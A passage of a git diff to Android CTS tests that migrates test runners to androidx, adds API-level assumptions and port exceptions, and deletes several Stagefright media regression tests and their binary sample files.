diff --git a/tests/tests/renderscriptlegacy/AndroidManifest.xml b/tests/tests/renderscriptlegacy/AndroidManifest.xml
index bd1184f..cede25e 100644
--- a/tests/tests/renderscriptlegacy/AndroidManifest.xml
+++ b/tests/tests/renderscriptlegacy/AndroidManifest.xml
@@ -27,7 +27,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.renderscriptlegacy.cts"
                      android:label="CTS tests of Renderscript component">
         <meta-data android:name="listener"
diff --git a/tests/tests/rsblas/Android.mk b/tests/tests/rsblas/Android.mk
index 637f08e..df16f46 100644
--- a/tests/tests/rsblas/Android.mk
+++ b/tests/tests/rsblas/Android.mk
@@ -27,7 +27,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 LOCAL_JNI_SHARED_LIBRARIES := libbnnmdata_jni
 
diff --git a/tests/tests/rsblas/AndroidManifest.xml b/tests/tests/rsblas/AndroidManifest.xml
index f6099fb..cf27505 100644
--- a/tests/tests/rsblas/AndroidManifest.xml
+++ b/tests/tests/rsblas/AndroidManifest.xml
@@ -25,7 +25,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.rsblas"
                      android:label="CTS tests of RenderScript IntrinsicBLAS">
         <meta-data android:name="listener"
diff --git a/tests/tests/rscpp/Android.mk b/tests/tests/rscpp/Android.mk
index f5c20ca..bb6dddc 100644
--- a/tests/tests/rscpp/Android.mk
+++ b/tests/tests/rscpp/Android.mk
@@ -28,7 +28,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 LOCAL_JNI_SHARED_LIBRARIES := librscpptest_jni
 
diff --git a/tests/tests/rscpp/AndroidManifest.xml b/tests/tests/rscpp/AndroidManifest.xml
index 035d242..da6084b 100644
--- a/tests/tests/rscpp/AndroidManifest.xml
+++ b/tests/tests/rscpp/AndroidManifest.xml
@@ -23,7 +23,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.rscpp.cts"
                      android:label="CTS tests of RenderScript C++ component">
         <meta-data android:name="listener"
diff --git a/tests/tests/sax/Android.mk b/tests/tests/sax/Android.mk
index d854016..b7e4b80 100644
--- a/tests/tests/sax/Android.mk
+++ b/tests/tests/sax/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/sax/AndroidManifest.xml b/tests/tests/sax/AndroidManifest.xml
index c15bd7a..0a7a92b 100644
--- a/tests/tests/sax/AndroidManifest.xml
+++ b/tests/tests/sax/AndroidManifest.xml
@@ -22,7 +22,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.sax.cts"
                      android:label="CTS tests of android.sax">
         <meta-data android:name="listener"
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
index c9b40f4..cd1b65b 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
@@ -25,8 +25,8 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 LOCAL_STATIC_JAVA_LIBRARIES := \
-	ctstestrunner \
-	compatibility-device-util
+	ctstestrunner-axt \
+	compatibility-device-util-axt
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SDK_VERSION := current
 LOCAL_JAVA_LIBRARIES += android.test.runner
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/AndroidManifest.xml b/tests/tests/secure_element/access_control/AccessControlApp1/AndroidManifest.xml
index 87a7aa5..c28ddcc 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/AndroidManifest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/AndroidManifest.xml
@@ -22,7 +22,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:label="CTS tests for Open Mobile API"
                      android:targetPackage="android.omapi.accesscontrol1.cts">
         <meta-data android:name="listener"
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
index 7328762..9f87b5a 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/src/android/omapi/accesscontrol1/cts/AccessControlTest.java b/tests/tests/secure_element/access_control/AccessControlApp1/src/android/omapi/accesscontrol1/cts/AccessControlTest.java
old mode 100644
new mode 100755
index 45dd3f0..4eb7cb9
--- a/tests/tests/secure_element/access_control/AccessControlApp1/src/android/omapi/accesscontrol1/cts/AccessControlTest.java
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/src/android/omapi/accesscontrol1/cts/AccessControlTest.java
@@ -22,6 +22,18 @@
 import static org.junit.Assert.*;
 import static org.junit.Assume.assumeTrue;
 
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.se.omapi.Channel;
+import android.se.omapi.Reader;
+import android.se.omapi.SEService;
+import android.se.omapi.SEService.OnConnectedListener;
+import android.se.omapi.Session;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.PropertyUtil;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -31,17 +43,6 @@
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeoutException;
 
-import android.content.pm.PackageManager;
-import android.os.RemoteException;
-import android.se.omapi.Channel;
-import android.se.omapi.Reader;
-import android.se.omapi.SEService;
-import android.se.omapi.SEService.OnConnectedListener;
-import android.se.omapi.Session;
-import android.support.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.PropertyUtil;
-
 public class AccessControlTest {
     private final static String UICC_READER_PREFIX = "SIM";
     private final static String ESE_READER_PREFIX = "eSE";
@@ -163,6 +164,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(PropertyUtil.getFirstApiLevel() > Build.VERSION_CODES.O_MR1);
         assumeTrue(supportsHardware());
         seService = new SEService(InstrumentationRegistry.getContext(), new SynchronousExecutor(), mListener);
         connectionTimer = new Timer();
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
index eff645d..f653ef3 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
@@ -25,8 +25,8 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 LOCAL_STATIC_JAVA_LIBRARIES := \
-       ctstestrunner \
-       compatibility-device-util
+       ctstestrunner-axt \
+       compatibility-device-util-axt
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SDK_VERSION := current
 LOCAL_JAVA_LIBRARIES += android.test.runner
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/AndroidManifest.xml b/tests/tests/secure_element/access_control/AccessControlApp2/AndroidManifest.xml
index e92a577..c9b9055 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/AndroidManifest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/AndroidManifest.xml
@@ -22,7 +22,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:label="CTS tests for Open Mobile API"
                      android:targetPackage="android.omapi.accesscontrol2.cts">
         <meta-data android:name="listener"
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
index 072f2af..2557025 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/src/android/omapi/accesscontrol2/cts/AccessControlTest.java b/tests/tests/secure_element/access_control/AccessControlApp2/src/android/omapi/accesscontrol2/cts/AccessControlTest.java
old mode 100644
new mode 100755
index 4a7b7e6..e3eb557
--- a/tests/tests/secure_element/access_control/AccessControlApp2/src/android/omapi/accesscontrol2/cts/AccessControlTest.java
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/src/android/omapi/accesscontrol2/cts/AccessControlTest.java
@@ -22,6 +22,18 @@
 import static org.junit.Assert.*;
 import static org.junit.Assume.assumeTrue;
 
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.se.omapi.Channel;
+import android.se.omapi.Reader;
+import android.se.omapi.SEService;
+import android.se.omapi.SEService.OnConnectedListener;
+import android.se.omapi.Session;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.PropertyUtil;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -31,17 +43,6 @@
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeoutException;
 
-import android.content.pm.PackageManager;
-import android.os.RemoteException;
-import android.se.omapi.Channel;
-import android.se.omapi.Reader;
-import android.se.omapi.SEService;
-import android.se.omapi.SEService.OnConnectedListener;
-import android.se.omapi.Session;
-import android.support.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.PropertyUtil;
-
 public class AccessControlTest {
     private final static String UICC_READER_PREFIX = "SIM";
     private final static String ESE_READER_PREFIX = "eSE";
@@ -162,6 +163,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(PropertyUtil.getFirstApiLevel() > Build.VERSION_CODES.O_MR1);
         assumeTrue(supportsHardware());
         seService = new SEService(InstrumentationRegistry.getContext(), new SynchronousExecutor(), mListener);
         connectionTimer = new Timer();
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
index 29e38f3..08f8942 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
@@ -25,8 +25,8 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 LOCAL_STATIC_JAVA_LIBRARIES := \
-	ctstestrunner \
-	compatibility-device-util
+	ctstestrunner-axt \
+	compatibility-device-util-axt
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SDK_VERSION := current
 LOCAL_JAVA_LIBRARIES += android.test.runner
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/AndroidManifest.xml b/tests/tests/secure_element/access_control/AccessControlApp3/AndroidManifest.xml
index dd6375c..1634f77 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/AndroidManifest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/AndroidManifest.xml
@@ -22,7 +22,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:label="CTS tests for Open Mobile API"
                      android:targetPackage="android.omapi.accesscontrol3.cts">
         <meta-data android:name="listener"
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
index 10939c6..20e4a4c 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/src/android/omapi/accesscontrol3/cts/AccessControlTest.java b/tests/tests/secure_element/access_control/AccessControlApp3/src/android/omapi/accesscontrol3/cts/AccessControlTest.java
old mode 100644
new mode 100755
index 3a8971c..7260c4f
--- a/tests/tests/secure_element/access_control/AccessControlApp3/src/android/omapi/accesscontrol3/cts/AccessControlTest.java
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/src/android/omapi/accesscontrol3/cts/AccessControlTest.java
@@ -22,6 +22,18 @@
 import static org.junit.Assert.*;
 import static org.junit.Assume.assumeTrue;
 
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.se.omapi.Channel;
+import android.se.omapi.Reader;
+import android.se.omapi.SEService;
+import android.se.omapi.SEService.OnConnectedListener;
+import android.se.omapi.Session;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.PropertyUtil;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -31,17 +43,6 @@
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeoutException;
 
-import android.content.pm.PackageManager;
-import android.os.RemoteException;
-import android.se.omapi.Channel;
-import android.se.omapi.Reader;
-import android.se.omapi.SEService;
-import android.se.omapi.SEService.OnConnectedListener;
-import android.se.omapi.Session;
-import android.support.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.PropertyUtil;
-
 public class AccessControlTest {
     private final static String UICC_READER_PREFIX = "SIM";
     private final static String ESE_READER_PREFIX = "eSE";
@@ -172,6 +173,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(PropertyUtil.getFirstApiLevel() > Build.VERSION_CODES.O_MR1);
         assumeTrue(supportsHardware());
         seService = new SEService(InstrumentationRegistry.getContext(), new SynchronousExecutor(), mListener);
         connectionTimer = new Timer();
diff --git a/tests/tests/secure_element/omapi/Android.mk b/tests/tests/secure_element/omapi/Android.mk
index 4378136..1ac3720 100644
--- a/tests/tests/secure_element/omapi/Android.mk
+++ b/tests/tests/secure_element/omapi/Android.mk
@@ -25,8 +25,8 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-	ctstestrunner \
-	compatibility-device-util
+	ctstestrunner-axt \
+	compatibility-device-util-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/secure_element/omapi/AndroidManifest.xml b/tests/tests/secure_element/omapi/AndroidManifest.xml
index ce5ccc9..e19fb85 100644
--- a/tests/tests/secure_element/omapi/AndroidManifest.xml
+++ b/tests/tests/secure_element/omapi/AndroidManifest.xml
@@ -22,7 +22,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:label="CTS tests for Open Mobile API"
                      android:targetPackage="android.omapi.cts">
         <meta-data android:name="listener"
diff --git a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
old mode 100644
new mode 100755
index 438857d..e34d307
--- a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
+++ b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
@@ -21,6 +21,18 @@
 import static org.junit.Assert.*;
 import static org.junit.Assume.assumeTrue;
 
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.se.omapi.Channel;
+import android.se.omapi.Reader;
+import android.se.omapi.SEService;
+import android.se.omapi.SEService.OnConnectedListener;
+import android.se.omapi.Session;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.PropertyUtil;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -35,16 +47,6 @@
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeoutException;
 
-import android.content.pm.PackageManager;
-import android.se.omapi.Channel;
-import android.se.omapi.Reader;
-import android.se.omapi.SEService;
-import android.se.omapi.SEService.OnConnectedListener;
-import android.se.omapi.Session;
-import android.support.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.PropertyUtil;
-
 public class OmapiTest {
 
     private final static String UICC_READER_PREFIX = "SIM";
@@ -159,6 +161,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(PropertyUtil.getFirstApiLevel() > Build.VERSION_CODES.O_MR1);
         assumeTrue(supportsHardware());
         seService = new SEService(InstrumentationRegistry.getContext(), new SynchronousExecutor(), mListener);
         connectionTimer = new Timer();
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
index f158e68..f4ae8a7 100644
--- a/tests/tests/security/Android.mk
+++ b/tests/tests/security/Android.mk
@@ -22,11 +22,11 @@
 LOCAL_MULTILIB := both
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     android-common \
     ctstestserver \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     guava \
     platform-test-annotations
 
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 4da499e..18159e3 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -52,7 +52,7 @@
         </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.security.cts"
                      android:label="CTS tests of android.security.cts">
         <meta-data android:name="listener"
diff --git a/tests/tests/security/res/raw/bug_36592202.ogg b/tests/tests/security/res/raw/bug_36592202.ogg
deleted file mode 100755
index 868e630..0000000
--- a/tests/tests/security/res/raw/bug_36592202.ogg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4
deleted file mode 100644
index 261e173..0000000
--- a/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4
deleted file mode 100644
index e8f1c41..0000000
--- a/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4
deleted file mode 100644
index ecc10cb..0000000
--- a/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4
deleted file mode 100644
index 34851ad..0000000
--- a/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_64710074.mp4 b/tests/tests/security/res/raw/bug_64710074.mp4
deleted file mode 100644
index 5544ffe..0000000
--- a/tests/tests/security/res/raw/bug_64710074.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2016_3828.mp4 b/tests/tests/security/res/raw/cve_2016_3828.mp4
deleted file mode 100755
index 88109cb..0000000
--- a/tests/tests/security/res/raw/cve_2016_3828.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 6253f0a..910e3e1 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -16,12 +16,13 @@
 
 package android.security.cts;
 
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
 import android.graphics.Bitmap;
 import android.platform.test.annotations.SecurityTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @SecurityTest
 @RunWith(AndroidJUnit4.class)
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index 2be37bb..1759521 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -27,6 +27,7 @@
 import android.security.cts.IsolatedService;
 import android.test.AndroidTestCase;
 import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
 import com.android.internal.util.ArrayUtils;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -74,7 +75,9 @@
                 mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS));
     }
 
+
     @SecurityTest
+    @CddTest(requirement="9.2/C-0-1")
     public void testGetCachedServicesFromIsolatedService() throws RemoteException {
         String[] cachedServices = mService.getCachedSystemServices();
         for (String serviceName : cachedServices) {
@@ -83,7 +86,9 @@
         }
     }
 
+
     @SecurityTest
+    @CddTest(requirement="9.2/C-0-1")
     public void testGetServiceFromIsolatedService() throws RemoteException {
         for (String serviceName : RESTRICTED_SERVICES_TO_TEST) {
             IBinder service = mService.getSystemService(serviceName);
diff --git a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
old mode 100644
new mode 100755
index 6d7c5e2..d7fc915
--- a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
+++ b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
@@ -19,7 +19,6 @@
 import android.content.pm.PackageManager;
 import android.os.Process;
 import android.os.UserHandle;
-import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import android.util.Log;
 import com.android.compatibility.common.util.FeatureUtil;
@@ -43,7 +42,6 @@
  * into computer systems remotely, and minimizing the number of open ports
  * is considered a security best practice.
  */
-@SecurityTest
 public class ListeningPortsTest extends AndroidTestCase {
     private static final String TAG = "ListeningPortsTest";
 
@@ -70,12 +68,14 @@
         EXCEPTION_PATTERNS.add("127.0.0.1 10000");  // used by the cast receiver
         EXCEPTION_PATTERNS.add(":: 1002");          // used by remote control
         EXCEPTION_PATTERNS.add(":: 1020");          // used by remote control
+        EXCEPTION_PATTERNS.add("0.0.0.0:7275");     // used by supl 
         //no current patterns involve address, port and UID combinations
         //Example for when necessary: EXCEPTION_PATTERNS.add("0.0.0.0:5555 10000")
 
         // IPv6 exceptions
         // TODO: this is not standard notation for IPv6. Use [$addr]:$port instead as per RFC 3986.
         EXCEPTION_PATTERNS.add(":::5555");          // emulator port for adb
+        EXCEPTION_PATTERNS.add(":::7275");          // used by supl
     }
 
     @Override
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
index db29704..6982f75 100644
--- a/tests/tests/security/src/android/security/cts/MotionEventTest.java
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -27,10 +27,6 @@
 import android.graphics.Point;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Gravity;
 import android.view.InputDevice;
 import android.view.MotionEvent;
@@ -38,7 +34,13 @@
 import android.view.ViewGroup;
 import android.view.WindowManager;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
 import org.junit.Rule;
@@ -80,13 +82,12 @@
      * screen to determine approximate locations of touch events without the user knowing.
      */
     @Test
-    public void testActionOutsideDoesNotContainedObscuredInformation() throws Exception {
+    public void testActionOutsideDoesNotContainedObscuredInformation() throws Throwable {
         enableAppOps();
         final OnTouchListener listener = new OnTouchListener();
-        final Point size = new Point();
-        final View[] viewHolder = new View[1];
-        mActivity.runOnUiThread(() -> {
+        FutureTask<View> addViewTask = new FutureTask<>(() -> {
             final WindowManager wm = mActivity.getSystemService(WindowManager.class);
+            final Point size = new Point();
             wm.getDefaultDisplay().getSize(size);
 
             WindowManager.LayoutParams wmlp = new WindowManager.LayoutParams(
@@ -115,19 +116,26 @@
             v.setBackgroundColor(Color.BLUE);
             v.setOnTouchListener(listener);
             v.setLayoutParams(vglp);
-            viewHolder[0] = v;
 
             wm.addView(v, wmlp);
+            return v;
         });
-        mInstrumentation.waitForIdleSync();
+        mActivity.runOnUiThread(addViewTask);
+        View view = addViewTask.get(5, TimeUnit.SECONDS);
 
-        FutureTask<Point> task = new FutureTask<>(() -> {
+        // Wait for a layout pass to be certain the view is on the screen
+        // before getting the location and injecting touches.
+        WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, view, null /*runnable*/,
+                true /*forceLayout*/);
+
+        FutureTask<Point> clickLocationTask = new FutureTask<>(() -> {
             final int[] viewLocation = new int[2];
-            viewHolder[0].getLocationOnScreen(viewLocation);
-            return new Point(viewLocation[0], viewLocation[1]);
+            view.getLocationOnScreen(viewLocation);
+            // Set y position to the center of the view, to make sure it is away from the status bar
+            return new Point(viewLocation[0], viewLocation[1] + view.getHeight() / 2);
         });
-        mActivity.runOnUiThread(task);
-        Point viewLocation = task.get(5, TimeUnit.SECONDS);
+        mActivity.runOnUiThread(clickLocationTask);
+        Point viewLocation = clickLocationTask.get(5, TimeUnit.SECONDS);
         injectTap(viewLocation.x, viewLocation.y);
 
         List<MotionEvent> outsideEvents = listener.getOutsideEvents();
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
old mode 100755
new mode 100644
index 4e128bc..31769e1
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -33,8 +33,6 @@
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecList;
-import android.media.MediaDrm;
-import android.media.MediaDrm.MediaDrmStateException;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.MediaMetadataRetriever;
@@ -55,11 +53,8 @@
 import java.io.InputStream;
 import java.net.URL;
 import java.nio.ByteBuffer;
-import java.io.FileOutputStream;
-import java.io.File;
 import java.util.ArrayList;
 import java.util.HashMap;
-import java.util.UUID;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.ReentrantLock;
 
@@ -95,16 +90,6 @@
     }
 
     @SecurityTest
-    public void testStagefright_cve_2016_3828() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3828);
-    }
-
-    @SecurityTest
-    public void testStagefright_bug_64710074() throws Exception {
-        doStagefrightTest(R.raw.bug_64710074);
-    }
-
-    @SecurityTest
     public void testStagefright_cve_2017_0643() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0643);
     }
@@ -547,14 +532,6 @@
     }
 
     @SecurityTest
-    public void testStagefright_bug_63522067() throws Exception {
-        doStagefrightTestRawBlob(R.raw.bug_63522067_1_hevc, "video/hevc", 320, 420);
-        doStagefrightTestRawBlob(R.raw.bug_63522067_2_hevc, "video/hevc", 320, 420);
-        doStagefrightTestRawBlob(R.raw.bug_63522067_3_hevc, "video/hevc", 320, 420);
-        doStagefrightTestRawBlob(R.raw.bug_63522067_4_hevc, "video/hevc", 320, 420);
-    }
-
-    @SecurityTest
     public void testStagefright_bug_25765591() throws Exception {
         doStagefrightTest(R.raw.bug_25765591);
     }
@@ -610,56 +587,6 @@
     }
 
     @SecurityTest
-    public void testStagefright_bug_36592202() throws Exception {
-        Resources resources = getInstrumentation().getContext().getResources();
-        AssetFileDescriptor fd = resources.openRawResourceFd(R.raw.bug_36592202);
-        int page_size = 25627;
-        byte [] blob = new byte[page_size];
-
-        // 127 bytes read and  25500 zeros constitute one Ogg page
-        FileInputStream fis = fd.createInputStream();
-        int numRead = fis.read(blob);
-        fis.close();
-
-        // Creating temp file
